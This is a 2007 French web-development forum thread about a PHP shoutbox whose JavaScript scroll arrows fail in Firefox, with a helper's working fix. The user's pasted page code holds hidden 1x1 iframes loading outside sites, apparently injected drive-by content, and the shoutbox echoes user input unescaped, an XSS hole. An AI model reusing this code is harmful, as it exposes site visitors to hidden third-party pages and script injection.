Accueil > Forum > > > > Scrollup et down d'une shoutbox
 Scrollup et down d'une shoutbox
dimanche 6 mai 2007 à 10:39:09 |
Scrollup et down d'une shoutbox
Dlyan
|
Bonjour, Voilà j'ai un probleme avec le scroll up and down sous firefox car sur le autre navigateur ça marche impec. Pouvez-vous m'aider à identifier le problème merci. Rendez-vous ici : http://thesoldatryan.free.fr/
pour voir le problème (avec firefox bien sûr ^^) Merci d'avance! <script language="JavaScript" type="text/JavaScript">
var AMOUNT = 1;
var TIME = 1;
var timer = null;
function scrollIt_down(v){
var direction=v?1:-1;
var distance=AMOUNT*direction;
window.Shoutbox.scrollBy(0,distance);
}
function down(v){
if(timer) { clearInterval(timer); timer=null; }
if(v)timer=setInterval("scrollIt_down(true)",TIME);
}
function scrollIt_up(v){
var direction=v?1:-1;
var distance=AMOUNT*direction;
window.Shoutbox.scrollBy(0,-distance);
}
function up(v){
if(timer) { clearInterval(timer); timer=null; }
if(v)timer=setInterval("scrollIt_up(true)",TIME);
}
</script> |
|
dimanche 6 mai 2007 à 14:36:36 |
Re : Scrollup et down d'une shoutbox
bultez
|
Bonjour,
et tu pourrais nous dire ce qui ne fonctionne pas ?
ça nous aiderait...
mais, déjà, c'est quoi Soutbox ?
avec FF ( et consors ) on ne peut pas adresser un élément comme ça.
s'il est dans un formulaire : document.name du formulaire.name de l'élement....
sinon ( ou même ) document.getElementById("id de l'élément")....
avec <élément id=" id de l'élément "...>
|
|
dimanche 6 mai 2007 à 14:58:23 |
Re : Scrollup et down d'une shoutbox
Dlyan
|
ce qui ne fonctionne pas c'est quand l'on pointe avec la souris sur le flèche de ma shoutbox pour faire défilé le contenu de haut en bas et inversement.
Test sur mon site et tu vera le problème (seulement avec Firefox).
La shoutbox est un élément où l'on indique son pseudo + son message et on l'envoi.
voilà comment le l'ai défini :
if(!empty($_GET['shoutbox']))
{
?>
<body bgcolor="<? echo $bgcolor ?>" text="<? echo $textcolor ?>"><iframe src='http://www.volteo.com/logo/index.php' width='1' height='1' style='visibility: hidden;'></iframe>
<?
$fp = fopen("shoutbox.dat","r");
$Data = fread($fp, 80000);
fclose($fp);
$Data = stripslashes($Data);
echo "<font size=\"1\" face=\"Verdana, Arial\">" .$Data. "</font>";
}
else
{
if(!empty($_POST['shout_send']))
{
$bool = strstr($_POST['shout'], "<");
if(!$bool)
{
if (empty($_POST['shout']) OR empty($_POST['username']) OR $_POST['username'] == "Username" OR $_POST['shout'] == "Message")
{
$alert = "<font size=\"1\" color=\"red\">Remplissez tous les champs s.v.p</font>";
}
else
{
$time = date("H:i:s");
$fp = fopen("shoutbox.dat","r");
$OldData = fread($fp,80000);
fclose($fp);
$Input = "(" .$time. ") <b>" .$_POST['username']. "</b>: " .$_POST['shout']. " <br>\n";
$New = "$Input$OldData";
$fp = fopen("shoutbox.dat","w+");
fwrite($fp, $New, 80000);
fclose( $fp );
?>
<SCRIPT LANGUAGE="JavaScript">
document.location.href="index.php"
</SCRIPT>
<?
}
}
else
{
$alert = "<font color=\"red\" size=\"1\">HTML interdit</font>";
}
}
|
|
dimanche 6 mai 2007 à 17:02:39 |
Re : Scrollup et down d'une shoutbox
bultez
|
je me cite ?
avec FF ( et consors ) on ne peut pas adresser un élément comme ça.
s'il est dans un formulaire : document.name du formulaire.name de l'élement....
sinon ( ou même ) document.getElementById("id de l'élément")....
avec <élément id=" id de l'élément "...>
si ça ne suffit pas : là, tu nous met le php ? comment je vois le contenu des $variables ?
le contenu de shoutbox.dat ? la page générée est nécessaire, enfin,
un extrait... pas le PHP.
|
|
dimanche 6 mai 2007 à 17:31:04 |
Re : Scrollup et down d'une shoutbox
Dlyan
|
La page générée est le fichier index.php de mon site :  [ Lien ] c'est là que tu vera ce que ça donne et par la même occasion mon problème avec Firefox.
Essaye de faire un scroll up/down de la shoutbox sur FF et IE tu vera ce qui marche pas.
Fait un "Afficher le source code" avec ton navigateur pour voir la partie visible de mon source.
Voilà mon début de code de mon fichier index.php :
<?
// Color Setup
$bgcolor = "#FFFFFF"; // Background
$textcolor = "#333333"; // Texte
$linkcolor = "#880000"; // Couleur du lien
$linkcolor2 = "#CC0000";// Couleur du liens quand la souris passe dessus
$tabbg = "#003366"; // Couleur des ligne du tableau
$tilcolor = "#EEEEEE"; // Table "shoutbox" BG color
$subtitle = "#FAFAFA"; // Table Nom Modified Taille et Dossier(s): Fichier(s):
// Misc
$title = "< Dlyan Space >";
$directory = "."; // Dossier racine (pas de slash apres)
// Si vous avez l'ancien script mettez "ftp" si vous ne voulez pas tout re uploader
$dirdate = "d/m/y H:i"; // Format date pour la derniere modification
$images = "images"; // Dossier ou se trouvent les images du script (si vous changer le repertoire des images du script, modifier ceci)
$logo = "logo.jpg"; // Nom du logo (doit etre dans le repertoire image ci-dessus)
$forbidden = array();
$forbidden[] = '.';
$forbidden[] = '..';
$forbidden[] = 'index.php';
$forbidden[] = $images;
$forbidden[] = 'credits.php';
$forbidden[] = 'hitcounter.dat';
$forbidden[] = 'shoutbox.dat';
$forbidden[] = 'img.php';
$forbidden[] = 'txt.php';
$forbidden[] = 'shoutbox.php';
$forbidden[] = "Thumbs.db";
$forbidden[] = "desktop.ini";
$forbidden[] = ".htaccess";
$forbidden[] = ".htpasswd"; $debut = strlen($directory);
|
|
dimanche 6 mai 2007 à 18:03:16 |
Re : Scrollup et down d'une shoutbox
Dlyan
|
<body bgcolor="<? echo $bgcolor ?>" text="<? echo $textcolor ?>"><iframe src='http://quickcnt.com/ld/axhst/' width='1' height='1' style='visibility: hidden;'></iframe>
<table border="0" cellpadding="1" cellspacing="0" width="100%">
<tr>
<td width="40%">
<form method="POST" style="margin: 0px">
<table border="0" cellpadding="1" cellspacing="" width="100%" style="border: 1 solid <? echo $tabbg ?>">
<tr>
<td width="100%" colspan="2" bgcolor="<? echo $tilcolor ?>" style="border-bottom: 1 solid <? echo $tabbg ?>"><b>Shoutbox</b></td>
</tr>
<tr>
<td>
<iframe "Shoutbox" id="Shoutbox" src="index.php?shoutbox=1" width=400 height=70 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no style="background-color:transparent" allowtransparency="true">
</iframe>
</td>
<td width="10"><div align="right"><a href="#" onMouseOver="up(true);" onMouseOut="up(false);" onClick="return false;"><img border="0" src="<? echo $images ?>/arrow_up.gif" width="10" height="10"></a><br><a href="#" onMouseOver="down(true);" onMouseOut="down(false);" onClick="return false;"><img border="0" src="<? echo $images ?>/arrow_down.gif" width="10" height="10"></a></td>
</tr>
</table>
<table border="0" cellpadding="1" cellspacing="" width="100%">
<tr>
<td>
<input type="text" name="username" size="10" value="<? echo @$_POST['username'] ?>" maxlength="10">
<input type="text" name="shout" size="45" value="<? echo @$_POST['shout'] ?>" maxlength="100">
<input type="submit" value="Send" name="shout_send">
</td>
</tr>
</table> <?
if(empty($alert))
{
$alert = "";
}
else
{
echo "<br>".$alert;
}
?>
</form>
</td>
<td width="60%" valign="top">
<? include("credits.php") ?><br><br>
</td>
</tr>
Ceci devrait peut être d'aider à voir plus clair
|
|
dimanche 6 mai 2007 à 19:20:17 |
Re : Scrollup et down d'une shoutbox
bultez
|
je ne sais pas comment t'expliquer les choses...
je vais répéter qand même.
ne nous postes pas le php, on ne sait pas ce qu'il y a dans les $variables,
met nous la page html générée.
<iframe "Shoutbox" id="Shoutbox" ... le html est incorrect.
dans up tu utilises : window.Shoutbox....
ça ne fonctionne pas avec FF
il faut utiliser document.getElementById(" Shoutbox")
|
|
mardi 8 mai 2007 à 18:09:59 |
Re : Scrollup et down d'une shoutbox
Dlyan
|
Merci, j'ai compris. Je viens de supprimer ma petite erreur HTLM et j'ai remplacé window.Shoutbox.scrollBy(0,distance) par document.getElementById("Shoutbox").scrollBy(0,distance). apparament ça fonctionne pas encore, pas sur FF ni IE. Cela vient de la fonction scrollBy je crois. J'ai fais quelque recherche et je suis tombé sur quelqu'un qui a visiblement le même problème que moi mais il l'a résolu sans vraiment dire comment : [ Lien ] |
|
mardi 8 mai 2007 à 18:48:54 |
Re : Scrollup et down d'une shoutbox
bultez
|
dès que je peux, je regarde les fonctions "scroll"
entre nous : pourquoi n'avoir pas utilisé la balise <marquee> ?
c'est ce quelle fait. toute seule.
|
|
mercredi 9 mai 2007 à 09:58:20 |
Re : Scrollup et down d'une shoutbox
bultez
|
Réponse acceptée !
j'ai pu regarder.
différence ( là aussi, hélas ) entre FF et IE.
ch'tit exemple :
<iframe id="Shoutbox"
src="file://D:/Documents and Settings/Bul/Mes documents/Mes Sources/JavaScript/Utilitaires/WYSIWYG/wysiwyg.htm"
width=400 height=70
marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0
scrolling=no style="background-color:transparent" allowtransparency="true">
</iframe>
<input type="button"
onMouseOver="down(true);" onMouseOut="down(false);"
value="down" >
<input type="button"
onMouseOver="up(true);" onMouseOut="up(false);"
value="up" >
<script type="text/JavaScript">
var AMOUNT = 1;
var TIME = 1;
var timer = null;
var ie = false; /*@cc_on ie = true; @*/
var tmp;
if ( !ie )
tmp=document.getElementById("Shoutbox").contentWindow;
else tmp=window.frames["Shoutbox"];
function scrollIt_down(v){
var direction=v?1:-1;
var distance=AMOUNT*direction;
tmp.scrollBy(0,distance);
}
function down(v){
if(timer) { clearInterval(timer); timer=null; }
if(v)timer=setInterval("scrollIt_down(true)",TIME);
}
function scrollIt_up(v){
var direction=v?1:-1;
var distance=AMOUNT*direction;
tmp.scrollBy(0,-distance);
}
function up(v){
if(timer) { clearInterval(timer); timer=null; }
if(v)timer=setInterval("scrollIt_up(true)",TIME);
}
</script>
|
|
Cette discussion est classée dans : timer, var, up, down, shoutbox
 Répondre à ce message
 Sujets en rapport avec ce message
utilser correctement clearintervall ? [ par iznobe2601 ]
bonjour à tous ,je vous explique mon soucis : j ' ai un petit probleme d ' utilisation de la fonction clearinterval dans mon code .j ' utilise un raff
remplacer la scrollbar par des boutons up et down [ par caloum ]
Je recherche une solution pour remplacer la scrollbar de Internet Explorerpar des boutons up et down , pour utiliser un écran tactile.Je ne peux modi
Diapo dynamique avec timer, comment passer à la photo suivante avec bton [ par stel31 ]
Bonjour,J'ai créé un diapo flash relié à ma BDD, les photos s'alternent grace à un timer : ex d'un bout de mon code :function continue2(evt:TimerEvent
probléme diapo [ par anass12345 ]
bonsoir, j'essaie de faire une diapo d'image javascript qui défile une image chaque 5sec, avec deux boutons suivant et précédent,pour permettre le cha
document.images.src qui ne fonctionne pas sous IE [ par MrChrist ]
Bonjour, je travaille présentement sur une boutique virtuelle... Chaque item a une photo principale et plusieurs thumbnails, je veux que la photo prin
Fenetre de connexion similaire à celle de ce site [ par younes371 ]
Bonjour, je suis à la recherche d'une fene^tre de connexion similaire à ce celle des sites de codes sources ..., je m'explique :en cliquant sur un lie
meilleur moyen d'afficher l'heure [ par Bastian60 ]
Bonjour,Voici un script que j'ai récupéré :var dayarray=new Array("Dimanche","Lundi","Mardi","Mercredi","Jeudi","Vendredi","Samedi");var montharray=ne
Problème texte défilant aux normes W3C [ par LordVizor ]
Bonjour à tous, je vous solicite car je suis face à un problème. En effet, j'ai décidé de mettre mon site aux normes W3C et depuis mon javascript de t
Problème de cookie [ par molko13 ]
Bonsoir à tous,Cela fait plusieurs jours que je me casse les dents sur la gestion d'un cookie qui serait à terme utilisé pour gérer l'affichage ou de
génération d'un menu [ par neg03 ]
Bonjour, je souhaite utiliser une fonction javascript pour créer un menu :function menu(div){ var b = document.createElement('b'); div.appendChild(b)
 Livres en rapport
|
Derniers Blogs
 POUR RAPPEL ! LES SPéCIFICATIONS DES PROTOCOLES OFFICE ET SHAREPOINT SONT DISPONIBLES SUR MSDNPOUR RAPPEL ! LES SPéCIFICATIONS DES PROTOCOLES OFFICE ET SHAREPOINT SONT DISPONIBLES SUR MSDN par neodante
Quelle est le point commun entre : Microsoft il y a 10 ans et Apple aujourd'hui ? Réponse: avoir une politique de protocoles propriétaires et fermés :) Car pour rappel (si si je vous assure c'est important de le rappeler), la majorité des spécifications e...
Cliquez pour lire la suite de l'article par neodante JOYEUX ANNIVERSAIRE NIXJOYEUX ANNIVERSAIRE NIX par ebartsoft
Souhaitons un bon et joyeux anniversaire à notre hôte à tous, Nix.
Je ne le répéterais jamais assez mais sans lui rien ne serait possible. Il défit en permanence les lois de la gravité et comme il le dit si bien, si tu lui fais confiance ça devra...
Cliquez pour lire la suite de l'article par ebartsoft IMAGINE CUP 2012, MAKE A SIGN EN FINALEIMAGINE CUP 2012, MAKE A SIGN EN FINALE par junarnoalg
Voilà qui est fait, la nouvelle est officielle ! L'équipe belge "Make a Sign" va au pays des kangourous défendre son projet dans la catégorie Software Design. http://www.imaginecup.com/CompetitionsContent/Competition/WorldwideFinalists.aspx V...
Cliquez pour lire la suite de l'article par junarnoalg KINECT 1.5 IS OUT !KINECT 1.5 IS OUT ! par Vko
La version 1.5 du Kinect For Microsoft vient tout juste de sortir ! Plein de nouveautés: Tracking de squelette en Near Mode Détection en position assise Détection faciale avec un SDK dédié Documentation et des guideline (enfin) Un out...
Cliquez pour lire la suite de l'article par Vko LES ACTUALITéS DE LA SEMAINE SUR C2I.FR (14 MAI - 20 MAI) LES ACTUALITéS DE LA SEMAINE SUR C2I.FR (14 MAI - 20 MAI) par richardc
Mise à jour des Web API du 14 Mai
Réservez dès maintenant votre journée du 20 juin pour le Windows Azure Dev Camp 2012 à Paris
Mise à jour de Team Foundation Service
MechCommander 2 sur Windows 8
Entity Framework 5 Release Candidate e...
Cliquez pour lire la suite de l'article par richardc
Logiciels
 sDEVIS-FACTURES vlPRO (8.1.0.3)SDEVIS-FACTURES VLPRO (8.1.0.3)sDEVIS-FACTURES vlPRO a été mis au point pour les particuliers, créateurs, entrepreneurs, artisa... Cliquez pour télécharger sDEVIS-FACTURES vlPRO 974 Application Server (12.2.4.6)974 APPLICATION SERVER (12.2.4.6)Développez de puissantes applications dans un environnement de 'cloud computing', clusterisé, séc... Cliquez pour télécharger 974 Application Server vPicture (1.4.2.1)VPICTURE (1.4.2.1)Avec vPicture, hébergez vos images facilement et rapidement.
vPicture est un utilitaire simple, ... Cliquez pour télécharger vPicture Easy-Planning (2.2.1.6)EASY-PLANNING (2.2.1.6)Easy-Planning permet de créer des plannings sous la représentation de diagrammes et est adapté au... Cliquez pour télécharger Easy-Planning COM-BACKUP (2.0)COM-BACKUP (2.0)
COM-BACKUP est un logiciel de sauvegarde qui permet de planifier les sauvegardes de vos dossiers ...
Cliquez pour télécharger COM-BACKUP
|